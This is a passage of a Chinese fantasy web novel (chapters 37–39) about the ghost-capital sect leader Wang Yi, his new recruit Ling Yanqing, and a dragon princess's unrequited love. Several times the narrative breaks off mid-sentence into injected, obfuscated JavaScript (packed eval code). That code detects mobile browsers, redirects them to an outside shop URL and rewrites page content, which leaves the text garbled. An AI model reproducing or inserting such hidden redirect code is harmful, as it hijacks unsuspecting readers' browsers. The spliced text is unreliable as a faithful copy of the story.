可怜的女人守在此地,没人搭理不说,本身过得也不如意。即便如此,傅娘子还多次放弃投胎机会,死赖着不走。 时间一长,执念未清,害得她心智亦全失。 地府衙役理解傅娘子思念骨肉之情,可魂魄之身长期不去投胎,时日一久便有烟消云散的风险。这个警告肯定有人不止千百遍的告诉她,显然为能和孩子相遇,傅娘子不在乎这些,还说有人告诉她,她一定会再见到孩子的,她要听话地留在鬼京,不然孩子要去哪里找她? 但问谁说的这话?她又闭口不答,若再继续问,她的疯病甚至还会加重。 凌延卿道:“苍鸯殿的其他掌门就不管她吗?” 妄一道:“你看看,我刚说完,你同情人的老毛病又犯了,你道她可怜,她不这么觉得。况且苍鸯殿虽和地府有来往,但互不干涉是公认的理。她和孩子失散多年,找到的可能性微乎其微。说残酷点,那孩子或许早入轮回再世为人了。我们唯一能帮她的,就是在她想去投胎时,招来引路人。” 大约他们争论声音过大,傅娘子缓缓转过头,竟然看向他们这边。 女人模样呆滞,鬓前斑白,两颊凹陷,发黑的嘴唇动了两下。 “不好!”妄一似乎预料到某些棘手的画面,后退半步。 傅娘子已经将眼神锁定于人,她忽然站起身,怀中的枕头猝不及防地摔在地上。她愣愣地看着前方,脚踩过刚刚还视若珍宝的枕头。 “是娘啊,娘来了,娘来了!”傅娘子灰败的脸有了喜色,抬起双臂要去抱人。 妄一大惊,他就知道不能离傅娘子太近,这疯婆娘见了谁,都有可能当成自己孩子。他抓起凌延卿后颈的衣领,闪身退入暗区。 方才还面带欢喜的女人,没了目标,眼神又恢复茫然。傅娘子挠挠乱糟糟的头发,重新抱起地上的破棉花枕头,像无事发生一样,坐回石头上,继续喃喃自语。 而后有个小姑娘从她面前经过,她又站了起来,追着人家呼喊。 小姑娘被她吓得面如土色,还好附近有其他人出面,挥了几下拳头,喝退她。 凌延卿还在看,妄一却轻声说了句:“走吧,去别处逛逛。” 活得太久,莲烨掌门对这样的场景见怪不怪,这世上有千千万万的人,各有各的不幸,傅娘子是,妄一自己也是,谁也不能指望谁。 这一夜的游荡,妄一对凌延卿有了新认知。公子延卿出身不凡,却没有目无下尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苍鸯殿的饭碗固然香甜,但投名者也不会乱选一通,除了心之所向,还要互相打听掌门的脾性。于是负责收发状子的摊位就成了最好的情报交流处。承英素来与他不对付,定会暗中劝退所有想投莲烨门的人,就算有漏网之鱼选了也无妨,御朝门找个“今天风大”的理由,丢了就丢了。 “可恨可恨真可恨!”阿辞愤愤不平道,“有那坏心肠的做手脚,外面恐怕都在传您‘难伺候’的谣言。再过几日投名状就截停了,没人选咱们可如何是好?” 妄一稳如泰山,他尚未表态,阿辞就先急得团团转,尤其熬夜之后,神经更为紧张。 妄一称山人自有妙计,明知有承英阻拦,他还硬着头皮上山,不是另有所图,还能是什么? “我跟承英不对付,但这次我就是要利用他的不对付。”妄一眼中闪过一丝精明。 阿辞半张着口,缓缓问道:“您是想?” 妄一笑了笑,长饮一口醒神茶,道:“你知道的,莲烨门从不养闲人的。” 承英吩咐手下,劝退所有想报莲烨门的人,殊不知这正在妄一的计算之内,他要的就是无人投名,好为某人开道啊。 37. 招贤纳新投名状 桌角唯一一张空白的投名状,是妄一特意要来的。在尾部完成笔走龙蛇的落款后,他揣起一盒印泥,直奔东屋。 东屋原是莲烨掌门做批阅案卷的书房之用,后觉得挪进卧房更方便,便空置下来,直到现在给凌延卿居住。 屋内陈设朴素,光线却很充足。凌延卿盘腿坐于卧榻,中间一顶矮桌摊着七八张文墨。外人的突然闯入,使得他顾不上笔墨未干,随意理到一边,问大人有何贵干? 看样子,那日带他逛游鬼京有些效果,气色比先前好上许多。 妄一一把抓过他的手,沾了印子就往投名状摁,得逞后潇洒离去,一句废话也不留。 从进屋到离开,不过转瞬之间,快得像一阵风。 凌延卿愣愣地瞧着指尖残留的印泥,总感觉刚才摁的好像是他的卖身契。 妄一不解释,解释了他也未必能懂,就算懂了,除了莲烨门,他还想去哪儿? 每年的择英会,都是相同志愿的投名者相互比试。好比十个人报琴升门,那就是这十个人相互切磋。有承英这个小心眼把其他投名者拦下,只要凌延卿顺利投名莲烨门,必定会录用。 琴升门里,灵潇接过唯一一张选了莲烨门的投名状陷入沉思。他看看妄一,又看看状子,心照不宣地笑了笑。 在他印象里,莲烨门从未参与过此会,甚至可以说毫无兴趣。妄一独来独往,不懂笼络人,和其他掌门的关系也很平淡。可堂堂掌事,身边没个亲信真说不过去。起初灵潇还劝几句,但妄一油盐不进,说“纳新再多又不能直接拿来用,还得搭上精力培养”。更何况,阿辞又不是鼻孔不出气了。 但这次,莲烨掌门打破习惯,是为了这个叫“凌延卿”的人,也是一个灵潇没听说过的人。琴升掌门按下心中好奇,暂且不问。 有了莲烨门相助,略微拉快了择英会的筹备进度。灵潇还有一堆事要忙,听妄一要告辞了,仍出言挽留。 虽是口头热情,但苍鸯殿几位掌门中,灵潇算是友善的。 交完投名状,妄一开始琢磨凌延卿适合的差事。“武”这方面就不指望了,他一派文弱之色,上次冲进去在纸上写写画画的,大约只能拘泥于“文书”一职。 想着想着,妄一不由心生感慨,他这般为凌延卿铺路,不由想起多年前,有人亦是待妄一如此。 那人不苟言笑,也曾任“苍鸯殿掌门”一职,他对当时无依无靠的妄一寄予厚望,传授武学以及法术修习,栽培成后来的莲烨掌门。 可是沧海桑田,瞬息万变,再大的后盾,终没有“长久”之说。 阿辞帮完忙就去睡了个大觉,他的宝地离苍鸯殿不远,来去方便,所以不在这儿休憩,等再回来,他已恢复精神抖擞的样子。 妄一埋头把箱子里的书挑挑拣拣,选了三四本重要的册子,没空理会他。 阿辞无趣地往边上的摇椅一躺,眼睛扫及这摞书的书名,什么《鬼京律例》、《监狱刑书》、《神欲经书》等,顿时两眼一黑。 “愁什么,这又不是给你看的。”妄一头也不抬地说道。他有心让凌延卿任职,谈起鬼京就不能一问三不知,不求钻研精读,起码得过一遍目。 阿辞暗道一声“祖宗”,这都是磨人性子的书,没翻开前,光阅书名就有瞌睡虫上来了,那姓凌的怕是一番好受啊。 妄一不听他嘀咕,收拾好就准备把书送去。几本叠在一起,厚薄不一,压得人手臂沉沉。 阿辞机灵地替大人把门打开,可左脚刚出屋子,鼻子就一怂一怂,仿佛在寻找什么。 妄一腾不出手,只得抬脚轻踢一下狐狸屁股,怪他挡着道儿了。 “我没在发愣!我的鼻子灵光的很,谁放屁脱鞋,一闻一个准儿!” 阿辞辩驳完,转头继续嗅。 “这味儿怪了!我在莲烨门从没闻到过,有点熟悉,有点陌生......”阿辞正仔细品着,忽的大叫起来,“哎哎哎,大人您看东屋后边头不是冒青烟啦?!” “什么?!”东屋是用稻草封顶的小茅庐,着起火来还了得?妄一赶忙扔下手里的书。 稻草盖顶的房子,背后正飘出阵阵煤烟,数缕纠缠在一起,摇摇晃晃浮向半空。急得妄一骂了句粗话,怒发冲冠扎进茅庐。 不知情的某人还身系一截棉布,左手拿盘,右手持铲,围着一口简易堆砌的灶台忙碌。 左边有扇大开的窗户,青烟是从这儿逃窜的。 凌延卿无视妄一“想掐死他”的眼神。浅试味道,露出许可的笑意后,他小心翼翼地装盘,邀人品尝。 妄一本想质问他什么时候偷摸搭了口灶,但这菜品香味诱人,令他不由自主地拿起筷子,夹了一口。 只一口,便面露讶异之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985064|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色。 豆腐还是豆腐的味道,只是能做到这样焦脆不糊,鲜而不烂的,实属不易。 狐狸后追而来,看到大人的表情,便也凑过来,捞了一块。 阿辞的眼睛忽闪忽闪,想不到姓凌的有这等天赋,厨艺虽比不上祥云楼的掌厨,但打下手是够格了。假以时日,说不定还能将前浪拍死在沙滩上。 “你这两天闭门不出,就是为了修一口灶台以及钻研食谱?” 妄一想起上次闯进,凌延卿手底压着的纸,原当他是陶冶情操,没想到是在为下厨准备。 这道菜好是好,妄一喜欢清淡的东西,只是莲烨门没有做饭的常例,长期用果丸敷衍肚皮。 凌延卿道:“大人救我逃出妖怪洞的恩情,我心中铭记多时。人间一直有请客答谢的说法,我便想试试。” “哦!怪不得你昨天问我要这要那,是为了报答我家大人啊。”一转眼,阿辞吃完盘里的豆腐。当时他还不晓得凌延卿要东西干嘛,见他有兴趣做事,总比关屋里发傻要强,怕浪费食物,阿辞只肯舍些便宜的食材给他。 “你头回做饭就能到达这等境界,可见脑袋瓜子是灵光的。我们大人正愁给你安排个什么活计,不如先做几天伙夫吧。”阿辞吸了吸手指说道,“吃点像样的饭食比破果丸强多了,那玩意儿淡而无味的,光图个饱有什么意思。是吧,大人?您也说了要好好栽培人家。” 妄一沉思,他的确想把凌延卿往正路上引,洗菜做饭未免有些和仆人沾边,可做一点,总没有坏处。于是道:“......若他没有异议,便先这般安排吧。” 让一国公子死后给人当厨子,在外人看来何其荒唐。凌延卿却眉梢弯弯,欣然应下。他和善且没有架子,虽非人身,但还保留着生前吃米饭的习惯。就算妄一不吃,他自己也要吃。 狐狸高兴地嚷嚷过会儿带点食材来,顺便再搜罗几本珍贵的食谱叫凌师傅看看,他对今天的晚饭,很是期待。 屋里有说有笑,阿辞还请大人腾个像样的伙房出来,茅庐里间又小又窄的,别耽误一代食神的光明前途。 言语间,阿辞从一口一个“姓凌的”,顺嘴改成“凌师傅”。只是还没再多夸几句,他火红的耳朵一抖,似乎察觉到外头某个可怕的东西,正朝莲烨门逼近。 自从多年前被天雷错劈后,他就对这种杀气格外敏感。 38. 三年光阴不速客 苍鸯殿十三位大人,各司其职为白水娘娘分忧鬼京之事,身负重任也风光无限。在其位拼出作为,自会得天上伯乐赏识,引荐仙班。妄一的师父便是如此。 师父离开神欲鬼京已有数十载,妄一很久没有那种又敬又怕的感觉了。虽然他听从娘娘差遣,但敬畏之心与授业恩师相比,还是略有差别。 直到某位女子的出现,他的神经又紧绷起来。常言道“烈女怕缠郎”,这句话反一反也适用。 此刻狐狸警觉到的杀气,正是那女子身上散发出来的。还未见其人,妄一就已落下冷汗。虽知她迟早会来,但没想到会是现在。 鬼京的进出机制真是形同虚设,承英料想人是冲妄一去的,不仅顺利放行,更恨不得为其引路,事后无非摆出一副无辜之态,说他是想拦啊,可碍于身份尊卑,也不敢冒犯人家呀。 承英啊承英,不枉妄一暗地里称他一句“狗东西”,能报仇的地方他是一点都不放过呀。 默然半晌,妄一将阿辞推出去周旋,自己则和凌延卿躲在茅庐里,房屋紧闭。 凌延卿虽有疑问,妄一瞪他一眼只好禁声。 来人气势汹汹,阿辞被赶鸭子上架地挡在门前,他两腿哆嗦得厉害,心里虚得紧,眼睁睁看一位女子提着一支长矛冲进院。 她一头墨发随意披散,怒目环视四周无果,未寻见目标,杀气腾腾地望向阿辞。 “你家大人呢?!”她声线冷冽,带着不容置疑的威压。 阿辞咽了咽口水,对方已经算客气了,毕竟没有上来就和他动手。 虽然压迫感过于强大,但为不负大人所托,阿辞硬气道:“帝姬,您来得不巧,大人出去了......”他的牙齿在轻轻打颤,腿也较为酸软。 “去哪儿了?”女子揪住他,语气冰冷,“我今天心情不好,你说话且思量思量。” 阿辞身材矮小,被提在半空,小短腿无助地蹬着,求饶道:“帝姬!您高抬贵手放过小的,大人做事从不和我知会,我又怎晓得他去哪了呢?您行行好,放我下来,脏了您的手可就罪过了。” 狐狸做小伏低的姿态惯有一手,帝姬听了果然手腕一松。 阿辞如释重负,跌在地上抚平跳得厉害的心脏,却听她再次笑道:“门里若无人,你怎肯独自待着?有人非要考验我的耐心,好,我的‘惊霄’,可不是吃素的。” 语毕,她舞起长矛,气势如虹,直直刺向阿辞脖子。 “大人,快快救我!”阿辞惊恐地坐在地上哀嚎。 眼看尖锐的矛头要抵上狐狸的喉咙,千钧万发之际,妄一将手里一根筷子甩出去,精准地撞在矛杆上,硬生生改变了进攻方向。 最后,狐狸的命是没被伤到,可脸边那撮火红的毛发仍被截下。阿辞吓得说不出话来,他就知道这疯婆娘是来真的! 莲烨门的空气一片沉寂,妄一走出茅庐,缓声道:“帝姬,别来无恙。” 粗略一算,他们约莫三年未见了。 三年时光,匆匆一过。他们的外貌都没发生任何变化,妄一依旧喜欢躲着笙媱,而笙媱依旧喜欢用别人的性命逼他显身。 女子眼睛布满血丝,她哀切地看着红衣郎君。此次她是从龙宫潜逃出来,从天帝欲要把她嫁给白誉真君的时候,蛟龙神王就不让她外出了。 凛海地界,广袤无垠,逃跑不是一件易事。她风一程雪一程地赶来,有好多话想问妄一,有关责骂与怪罪,有关不解和失望,可等真正见到时,她又问不出口了。 凌延卿仍躲在茅庐听动静,因妄一不许他出去,他只能老实待着。 也不知过了多久,笙媱颤声开口:“莲烨大人,你真是害得我好苦啊!” 妄一虽没正面回对过帝姬的感情,但在这般悲切的眼神注视下,也不由闪过一丝心虚。 笙媱来是想大发一通脾气的,可人都站在这儿了,她还是伤心道:“妄一,你知不知道我要被天帝赐婚了?三年,整整三年.......你没有音讯,当真是无情么?!” 如果骂人能让帝姬好过,妄一甘愿承受。 他何尝不知她的心意?从帝姬当年来鬼京的第一个月时就知道了。但他多想告诉她,他们之间隔得不是情爱这么简单。 除却身份尊卑之别,还因他是女子,即便用男相生活近百年,内里仍是女子,无法回应这份炽热的欢喜。 笙媱还在等他回话,两个人僵持好久,妄一终于硬起心肠,道:“帝姬,我愿您与白誉真君喜结良缘。” “住口!”笙媱拳头握紧,血气一下冲上了脑门,“我宁愿你装哑巴,也不想听你讲这话!” 对她而言,和一个不爱的男子同结连理,根本就是一种屈辱,而且这句话还出自心上人之口!呵呵,他以为说了这句,就能把她撇的一干二净吗?休想! 阿辞为了自己的安全,捂着掉下的毛发,连摸带爬也溜进了茅庐,躲在门后不敢出声。 “妄一,你告诉我,你究竟有什么不满意我的?”论才貌,笙媱自认能文善武。论出生,她又是凛海蛟龙高高在上的帝姬。 她不懂,她真的不懂,妄一凭什么敢拒绝她。 红衣郎君没发话,笙媱自顾自往下说:“若论岁数,我是比你大了数倍,可排在我们蛟龙族里只能算是小辈。若论身份差别,我也能求父亲给你在凛海寂地做个大官。你就算是拒绝我,也要有个明确的理由,我绝不听你糊弄!” 妄一轻声道:“帝姬,我从没想过糊弄,自三年前我就告诉过你了......” 他为她的执着而叹气,他给不了她想要的答案,一直都在躲避她的感情。 “帝姬,我与你隔得并非是身份,地位,容貌,才华。这一切的一切,都是因为我对你无意。” “可我现在问的是你为什么对我无意!” 笙媱一声怒吼,多日的疲惫赶路,使她险些泄露蛟龙真身。 她在凛海寂地等了三年,盼了三年,等来等去等不到人,再见是这么一句话,有种当头棒喝的感觉。 妄一不愿多说,只道:“听闻白誉真君容貌俊雅,仪表磊落,在天界乃庸中佼佼,我相信他一定会好好对待帝姬。” “我不要听这些!”笙媱一拳捶在了院中大树,她的拳头带有神力,树木瞬间捶倒半截。 “你三句不离白誉真君,你见过他吗?知道他长什么样吗?就随口把我推给他?”笙媱声声质问,回望这三年的单相思,她都觉得自己蠢极了。 “帝姬,或许我们都被困在各自的围城里,没有出口,也没有入口。”妄一的声音轻得像风,他们该像永不汇聚的河流,各自安好。 笙媱帝姬面如寒冰,既然他执意要撇清关系,她说再多也无用。 “你真这般想,我便不勉强了。”她深深看了妄一一眼,语气带着几分决绝,“只是妄一,我希望你日后,不要后悔。” 这是帝姬离开前,最后与他说的话。女子渐渐远去,妄一终究没有出言阻拦。 他们的对话一字不差的被茅庐里的人听见,凌延卿打开门,一阵风起,外面的海棠花瓣洋洋洒洒把人包围。 妄一看了看被无情腰斩的海棠树,隐隐有些心疼,从他搬进莲烨门时,这棵树就在了。 树之故友,虽不能人语,但陪伴多时,亦见证了许多。纷飞的海棠花像老友在做最后的告别,或落在妄一的肩头,或碾入了尘土。帝姬这记拳头,让它从今往后只能活在记忆中。 莲烨门此番大动静,苍鸯殿凡是长了眼睛和耳朵的都知道七七八八,但没人敢在明面上议论。 帝姬脾性本就不好,情场失意,回龙宫便大发脾气,砸坏不少东西。身边几个侍女都知道她为何而气,就是没一个人敢去劝解的。 凛海龙王亦不理会,只要女儿乖乖待嫁,管她之前逃跑是什么原因。东西爱砸就砸吧,砸完了就得认命。 天下有谁不疼惜子女呢?龙王此举也是迫不得已。若是可以,他宁愿替女儿着嫁衣,上仙轿,维护两族的关系。 为防止帝姬再次逃跑,龙王这次下令在她寝宫内外重兵把守,还要严查之前是谁放走了她。 凛海寂地闹得不可开交,有些风声自然会传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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好啊,莲烨掌门坐着就来活了。日子过得够背气了,还要遭受奸商的欺压?妄一拿起伏影锁,提着凌延卿杀向鬼市。 他们一同出现在市集,某些摊主才知自己惹了大麻烦,那个看着人畜无害的小生,背后竟是这座靠山。 “市集出入口,琴升掌门立的‘公平’牌子,你们都装看不见吗?被我抓个正着,我这就拉你们去吃牢饭!”妄一一甩伏影锁,吓得其他无关人等四处逃窜。 莲烨掌门不是善罢甘休之人,摊主们见状,纷纷说是一场误会,解释是之前是没货源,才先收了钱,今日新鲜食材刚到,大人来巧了。 一伙人将先前吞没的钱款,尽数折算成货物,恭敬地放到妄一跟前。 妄一瞅他们一眼,又问凌延卿:“是这样吗?” 摊主们听见,都把注意力集中在那后生身上,眼神里满是哀求。 凌延卿点点头,道:“嗯,是这样。因为他们说先付后给,会低价交货。” “是吗?”妄一看了眼地上的食材,“这份量顶多钱货两讫,并无低价之意。” 这话又让全场摊主提起心来,他们感谢凌延卿没把话拆穿,但似乎又把他们推入另一个谎言里。 为了一个谎,要用无数谎去圆。 其中一位讨饶道:“那什么,一下子给您太多,您也拿不走啊。下次吧,下次您来,再给您补上。” “不。”妄一说,“能否拿走是我的事,送不送是你们的事。有此承诺在先,今日便速速兑现,省得我回头还要留意。”莲烨掌门把面孔一板,谁都不敢造次。 几个摊主相互眼神交流,拿货换个清白名声似乎不亏,他们利益熏心在前,正主来讨说法也只能认栽。 事实证明,添了东西后,妄一确实没再揪着不放。 而且经此一闹,鬼市的摊贩都安分不少,再不敢短了陌生主顾的秤。后再遇凌延卿采买,他们保证货真价实以外,还顺带送点小葱小蒜,熬汤的骨头。 而妄一只需每天到了点,自觉走进茅庐等开饭。 美食能让人暂时忘却烦恼,凌延卿确认大人今天心情较为轻快,闲聊几句后,便问起他与那位帝姬的事。 料想凌延卿在外头听见风言风语,妄一没有怪罪,只是伸了伸碗,说:“你想知道?想知道就再去给我盛些汤来。” 39. 万丈红尘一过往 莲烨掌门和笙媱帝姬之间的事,在苍鸯殿并非秘闻。追溯过往,可以从三年前那次除夕夜说起。 这天既是万民团聚之日,也是各位掌门辛劳一年的庆贺日,若无万分紧要之事耽搁,诸位都要赶在日落前,出席长欣门。 宴席一开,掌门齐聚一堂,席间要向白水娘娘禀告全年成果,以及日后如何造福鬼京云云。待散席之时,每位掌门还要取走台上放置的谢礼。一人一份,皆来自京中子民之手。 每到年末,上报的手作谢礼千千万,都是民众对苍鸯殿大人恪尽职守的感谢。 这些谢礼由琴升掌门蒙眼抽取,一经中签,献礼之人当夜还可进鸯殿,同入宴席。 帝姬原是不知晓的,听御朝掌门提及便觉得有趣,于是瞒着旁人偷偷参与,心里或多或少也期许妄一能选中她的物件。 琴升掌门“灵潇”乃循规蹈矩之人,但看在“鬼京尊客”的份上,不免要破一次例,再说那金属矛头贴脖的感觉,着实冰凉。不愧是从凛海寂地出来的神器,叫人不得不识时务。 随着广场钟声敲响,来往鬼仆脚步匆匆,或端果盘,或挑美酒。长欣门谈笑不绝,只有妄一沉默寡言,因他的位置挨着承英,左看右看都不觉顺心。怪也只能怪自己来晚了,独剩这处空位可将就。 这天场合特殊,又或是灵潇事先和承英说了什么,在妄一落座后,某人没有很快过来找骂,而是神采奕奕地与别人推杯换盏。 如此平和的气氛一直持续到散席,白水娘娘走后,掌门陆续起身离去。 妄一剥完橘子,掸掸手起身。不料被承英拦下,他东一句西一句,虽然破天荒没讲半句损人的话,但还是显得有些聒噪。 “好狗不挡道”说过多少次了,承英怪异的举动,让妄一隐隐觉得他在盘算什么。 果然,待他叽叽呱呱完了,桌台上就剩两样东西——鱼骨灯与荷包。 此宴有条不成文的规定,无论谢礼美丑,皆不可妄加点评。鱼骨灯倒也寻常,但这枚没有署名的荷包,它的形状样式,让所有路过之人都难以忽视。 其他大人都已离去,在场就剩承英和妄一。承英装起大方,让莲烨大人先拿,他要剩下的就行。 事出反常必有妖,几曾何时,妄一能让承英这样厚待?见他保持“人模狗样”的形象,妄一也不啰嗦,动身取走就近的荷包,随后尽快离开。 他不知正是这个举动,落入了帘子后面帝姬的眼。她不在近前,但心跳还是慢了一拍。 这枚荷包,是她犹豫再三才放上去的,手艺之粗糙,她自己心里也明白。 周围的人来来往往,桌上的东西即便没取走,也时常有人拿起来端看,唯有她的荷包,孤孤单单很不入流。 她既怕被别人拿走,又怕无人拿走,一会儿看看桌上的荷包,一会儿看看妄一和承英两人。 还好,最终是她心上的郎君收下了,且是在尚有选择的余地下,坚定不移地选择它。 帝姬满足地撩下帘子,扬唇一笑。 回去路上,妄一拿着荷包仔细检查,夹缝没藏针头,也没有用毒熏染过,不禁纳闷承英搞什么花样。正常人先拿,必拿好的那个,妄一反其道而行之,选个差的,以为夺过了一诈,实则双脚已经入套。 此物布料虽为上乘,但从歪歪扭扭的针脚来看,很难辨认缝制它的是男子或是女子。不过没关系,莲烨大人的针线活也不怎么样。只是看了半天,都不明白上面绣的什么花样,越看越像一团乱麻。 他想打开荷包看看,不知从哪儿蹿出个冒失鬼,撞了他的腰,好好的荷包“扑通”一声打了水漂。 而当时的帝姬,心情仍是喜滋滋的,荷包虽是平庸之物,里面却有一张她手写的“辞暮尔尔烟火年年,朝朝暮暮岁岁平安”。 她悄悄将芳心暗许,可惜妄一注定要辜负这片美意。 “等等,有件事我不知该不该讲。”凌延卿突然打断回忆,“你为什么不直接和她说,你们同是女子,故无法接受心意?人与人之间的感情,难道不该越坦诚越好吗?” 妄一阴阳怪气道:“聪明,你实在是太聪明了。那天你也在场,见识过她的脾气,你信不信我一坦白,捶的就不是那棵树,而是本大人我?” 凌延卿犹豫道:“但我觉得现在......似乎也没比坦白好多少。”他听到帝姬离去前,还放了狠话。 “那你要我怎么做?”妄一语气闪过一丝嘲弄,“帝姬或许是对我有几分情意,但更多是她无法接受别人的拒绝,才形成一种偏执,总之这样‘强迫的爱’,是我所不能接受的。” 晚间的风从半开的窗户吹进来,吹凉碗里的汤,吹得他的脑袋格外清醒。 “我对帝姬......不说别的,单以我寡情的脾性,她和我在一起了,才是真正受尽委屈。” 妄一时至今日仍在后悔,当初不该答应仙君。帝姬初来鬼京,年纪正处在春心萌动,何况遇见的还是相貌堂堂的莲烨掌门。 只是那会儿笙媱还算理智,明白他们之间鸿沟太大,纵有万分欣赏,也只能默默放在心里。但后来经过她放下荷包,妄一又拾起...... 她深刻觉悟自己不能再回避,故而后来她有事没事就去莲烨门。 可惜妄一愚钝,只当帝姬第一个人接触的是他,万事就对他多依赖。并且接触下来,还觉得她不似传言中的任性蛮横。直到帝姬仿佛对他太好了,好到超越尊卑之别,当他想要全身而退时,已经晚了。 被人缠上很麻烦,而且还是妄一得罪不起的人。幸有白誉真君挺身而出,他在此默默祝福两位。 凌延卿却道:“一个女子幸不幸福,不该把期望寄托于素未蒙面的男人身上吧。” “行了,你懂什么?你说的这种情况需要我等小人物猜测吗?天上那位若是个伪君子,帝姬也不是省油的灯!”妄一匆匆结束话题。 估摸再过几时日,择英会的名单就要张贴了。他转而提醒凌延卿,八卦归八卦,白天送来的书别忘了看。那些密密麻麻的律法条规虽显乏味,但要在这儿立足,必须得吃些苦。 妄一如此安排,只因自己也是这样过来的。 凌延卿领大人的情,翻开字密如蚂蚁的章节,晚间躺在塌上,就着蜡烛看个一两章,在字里行间欣赏鬼京诞生的脉络。 每天大早,妄一在院子里晨练,凌延卿便在屋里翻阅,二人互不打扰。唯有某日,仙君提酒上门,高声喊道:“老弟,我在天上多日未与你相见,可有挂念哥哥啊?” 这一开口便是熟悉的轻浮语气,妄一懒得理会,继续把剩下的一半练完。 “哼,你这臭脾气一如既往。”尘芳嘀咕一句,瞥见在里面看书的凌延卿,“咦,这又是哪个?我才离开几日,你身边就多了新人。” 妄一终于忍不下去,拳头快舞到了尘芳脸上。 尘芳缩了缩脖子,说:“好好好,大人饶命,我不说了。你这小气鬼,玩笑都不让人开。”他把手里的东西往老弟面前推,“你不知道,司命老爷和我夸你呢,说你事情办的不错。” 妄一拿帕子擦去脸上的汗,不回对奉承之语,只问尘芳,上面要怎么处置素欢? “这个嘛,判处的事我没参与,不过经过几轮思量,最后同意留她一条小命。现在......她应该受完九十九道鞭刑,在地府照料灵草。而她保护的那个魂魄,司命老爷后来施法将其归还于壳。”尘芳眨眨眼,“你不问仙子的情况,和我提起素欢,听她在地府受难,你是不是想去看看她?” “我不想。”妄一不假思索道,他如愿得到许诺的功德,对于其他事,虽有好奇,但听听也就过了。 尘芳又问,这次去人间办事,期间有遇到什么麻烦? “还行,不能说一帆风顺,但总体也算有惊无险。你看那位仁兄就是我在人间捡来的,与我同受咒痕的枷锁。”妄一意有所指。 尘芳暗暗吃惊:“你说他也有你这样的咒痕?” 妄一挑眉道:“是,你拿这眼神看我为何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002801|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我.....我自是惊讶你身边‘卧虎藏龙’啊!”仙君一惊一乍道,“你想想世上有几个人能受天道诅咒的?你运气真好,去外面一趟,就带回来一个。” 与此同时,凌延卿刚看完一本书,就被他们争吵声吸引。他出来,看了眼尘芳,问:“这位是?” 尘芳对其微微颔首,妄一过去径直将凌延卿拉过来,一把撸起他袖子,将狰狞的印迹展现于空气中。 凌延卿神情窘迫,偏偏妄一力气大,他拗不过。 “你看,我就说他也有吧。”妄一和仙君点评道,“不过他之前颜色应该还要再深一些......”说着,他露出一丝惊异之色。 “不对不对,怎么会这样?!”妄一面色骇然,放开凌延卿的手,又掀自己袖子看。 上回他不过粗略一看,而今才发觉他们两人两道咒痕,相互对比,几乎可以称呼为“孪生之作”。 妄一所知,能消减咒痕的唯一方法就是以功德赎清。他能淡化颜色,是因为帮司命老爷办事。凌延卿呢?何时偷摸去行天大的善事了?别说到鬼市买几个菜也算啊。 凌延卿被瞪得不好意思,他把袖子讪讪放下。 妄一没好气问:“你没发觉你那‘胎记’颜色淡了吗?你为什么不告诉我?” “我是发觉了。”他无辜答道,“我以为是吃了这里食物......” 妄一当即没忍住,伸出指头骂道:“你放.......” “哎!先别急着骂人!”尘芳及时叫停,“我看这位兄弟或许是真不清楚,不过确实奇怪,你们二人的咒痕,无论形状还是颜色放在一起,都难分难辨。” 没相遇之前,他们各自经历不同,但同住多日,咒痕却变化相似。 于是,尘芳缓缓得出结论:“你们别是一对双生灵痕吧......” “这又是什么东西?!”妄一听着,头发都要竖起来了。 “别紧张,双生灵痕好比是你杀的人,他递的刀,你放的火,他站的哨。你们前世定然有纠葛,今生相逢是必然。”尘芳打开扇子,扇了两下风,“老弟,你阴差阳错把他带回来,还真是个极对的主意。” 妄一眉头皱起,细细回味这番话。 “双生灵痕”从某种意义上像并蒂花,花开两朵,唯有一株枝干。难不成凌延卿能无恙地站在这里,是因他们命脉相连,只要妄一活着,另一个就不会因为肉身死亡而覆灭? 尘芳让老弟稍安勿躁:“有这位兄弟在你身边,你们合力积攒功德,岂不事半功倍?有什么可苦恼的呢?” 妄一却不开心,并且还有些半信半疑。 若真是双生灵痕,凌延卿在人间经历多年,难道一件好事都没做,一点功德都没有?妄一就不同了,他每日观察自身咒痕的色泽,身上每一分淡化都是自己付出辛劳的。 仙君安抚半天,让老弟莫要愁眉苦脸了,从此以后,他是多了个盟友啊。 妄一吸了吸鼻子,像是认命,转过头回望,凌延卿颇为无措地看着他。 事到如今,还能让莲烨大人怎样呢?他思虑片刻,调整情绪,对凌某人立规矩:“你必然是要留在这里的,我当你是同根生的豆萁,你可千万别把我比冤大头。你在莲烨门,事事须得服从我,听从我,顺从我。唯有这三从,你我方可有解开诅咒的机会,之后大路朝天走,你爱如何便如何。” 